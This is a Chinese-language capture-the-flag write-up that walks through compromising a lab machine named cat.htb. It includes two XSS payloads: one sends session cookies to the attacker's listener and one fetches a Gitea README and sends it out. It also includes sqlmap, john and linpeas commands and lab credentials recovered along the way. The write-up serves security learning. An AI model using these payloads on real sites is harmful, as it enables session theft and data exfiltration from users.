先前还是赛季靶机的时候被干晕了,二次尝试说是
# nmap
先扫再说
sudo nmap -A 10.10.11.53 |
OK,直接 git 泄漏是吧,githack 启动!
# GitHack
重构
python3 GitHack.py http://10.10.11.53/.git |
开始代码审计
先是最显眼的 admin.php
上来先泄漏个管理员用户名,别的信息好像也不太有,再找
在 john.php 能发现的信息就是。不论是登录还是注册,都是 GET 明文传输,似乎没有做太多过滤
之后在 constent.php
中发现了这么一段代码
功能是可以上传文件,其中会把当前用户的 username 一并传上去,而且不做过滤
有点意思哈
更有意思的是和 admin 特权有关的 view_cat.php
还会查看 constent.php
的内容
# xss
一个用户名可控、过滤稀少并且一般用户可以上传内容至特权用户处的情景,xss 狂喜好吧
构造 payload
<script>document.location='http://10.10.16.46:8888/?cookie='+document.cookie;</script> |
先在注册页面创建含有 xss payload 的用户
登录之后前往 content 进行表单提交
这里叽里咕噜随便写点就行,目的是为了截取 axel 的 cookie 而已
开启监听
nc -lvnp 8888 |
提交!
成功获取 cookie: PHPSESSID=dm7mvr9k11b923ngbo779iblst
# sqlmap
拿到 cookie 后怎么利用这个立足点呢,还得继续代码审计(ai 启动)
由于获取了 axel 的 cookie,肯定是想着看看只有 axel 用户才能访问的页面有没有什么攻击面
答案就在 accept_cat.php
中
直接拼接 catName 说是,先去 view_cat.php
看一眼 id=1 的内容
curl http://cat.htb/view_cat.php?cat_id=1 -b "PHPSESSID=dm7mvr9k11b923ngbo779iblst" |
可以看到就是先前我们提交的表单内容
有了信息,就 sqlmap 一把梭吧
sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=1" --cookie="PHPSESSID=dm7mvr9k11b923ngbo779iblst" --batch --dbms SQLite -p catName -dump --thread 10 |
同样的命令,前几次试的时候库库报错unable to retrieve the tables in database 'SQLite_masterdb'
我有理由怀疑群众里有坏人啊
后来重置靶机一下子就通了
那我问你
# john
拿到了密码,但是 md5 加密后的
为了得到明文,那就开始爆破吧
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt |
只有 rosa 的密码出了,登录登录
# linpeas
要在 rosa 用户中额外搜集信息,那就让 linpeas 来吧
sudo scp /home/peppermint/桌面/linpeas.sh rosa@10.10.11.53:/home/rosa |
上传成功!启动
分析 linpeas 给出的信息也是花了很久,没有很明显的文件说是,全是 interesting
一个个看过去,在 access.log
中发现了好东西
其实也是有迹可寻,毕竟在代码审计的时候就已经发现了是明文传输账号密码这件事axel:aNdZwgC4tI9gnVXv_e3Q
登录,拿下第一个 flag
# 提权
这里尝试 sudo,告诉我们 axel 不能执行 sudo
看来是别的
继续利用 linpeas,还是在 interesting 文件中
结合登录时多出的一行
看来这个 email 有点意思在里头,那就看看吧
From rosa@cat.htb Sat Sep 28 04:51:50 2024 | |
Return-Path: <rosa@cat.htb> | |
Received: from cat.htb (localhost [127.0.0.1]) | |
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592 | |
for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT | |
Received: (from rosa@localhost) | |
by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591 | |
for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT | |
Date: Sat, 28 Sep 2024 04:51:49 GMT | |
From: rosa@cat.htb | |
Message-Id: <202409280451.48S4pnlT001591@cat.htb> | |
Subject: New cat services | |
Hi Axel, | |
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop. | |
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository. | |
From rosa@cat.htb Sat Sep 28 05:05:28 2024 | |
Return-Path: <rosa@cat.htb> | |
Received: from cat.htb (localhost [127.0.0.1]) | |
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268 | |
for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT | |
Received: (from rosa@localhost) | |
by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267 | |
for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT | |
Date: Sat, 28 Sep 2024 05:05:28 GMT | |
From: rosa@cat.htb | |
Message-Id: <202409280505.48S55Sm0002267@cat.htb> | |
Subject: Employee management | |
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md. |
只能看到 exal 的,jobert 和 root 的没权限,但是也给足够多的 hint 了
提到要发送邮件给 jobert,提供 git 存储库的信息,可以在 3000 端口下的 /administrator/Employee-management 中访问存储库
在 linpeas 的扫描结果中有给出存活端口,3000 就在其中
先建立 ssh 隧道吧,把 3000 端口代理到本地
ssh -L 3000:127.0.0.1:3000 axel@10.10.11.53 |
有个登录框,直接登录 axel 用户
到处翻翻好像也没什么思路来着
结果在底部导航栏看见版本号了说是
搜搜看
有 xss 漏洞,直接按照他给的步骤一步步执行
先是创建一个 repository
随后在描述区域添加 xss 的 payload 就行
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md').then(response=>response.text()).then(data=>fetch('http://10.10.16.46:8888/?a='+encodeURIComponent(data)));">XSS test</a> |
注意到靶机开启了 25 端口,可以接收邮件,将其代理到本地,按照邮件的提示,发送邮件给 jobert
sendemail -f "axel@localhost" -t "jobert@localhost" -u "hello" -m "http://localhost:3000/axel/test" -s localhost:25 -o tls=no -o timeout=30 |
通过监听写入 xss 的端口获得回显
似乎不太对,解码一下怎么是这种东西
没辙了...
翻翻别人的 wp,原来是要把 md 改成 index.php 才会有 root 的密码
拿到 admin 密码 IKw75eR0MR7CMIxhH0
登录拿 flag